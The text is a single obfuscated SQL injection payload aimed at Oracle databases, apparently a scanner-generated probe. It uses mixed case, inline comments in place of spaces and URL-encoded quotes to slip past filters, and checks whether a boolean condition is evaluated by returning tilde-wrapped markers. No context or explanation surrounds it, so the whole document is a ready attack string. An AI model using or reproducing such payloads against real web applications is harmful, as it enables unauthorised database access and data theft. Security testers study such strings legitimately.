1and/**/7516=(sElEct/**/UpPer(cHr(126)||%27~%27||(selECt/**/(caSe/**/wHEn/**/(7516=7516)/**/then/**/1/**/elSe/**/0/**/eNd)/**/From/**/dUAl)||%27~%27||CHR(126))/**/FrOm/**/DUAL/**/WhEre/**/DBMS_RanDoM.vaLue(2466,8885)=5744)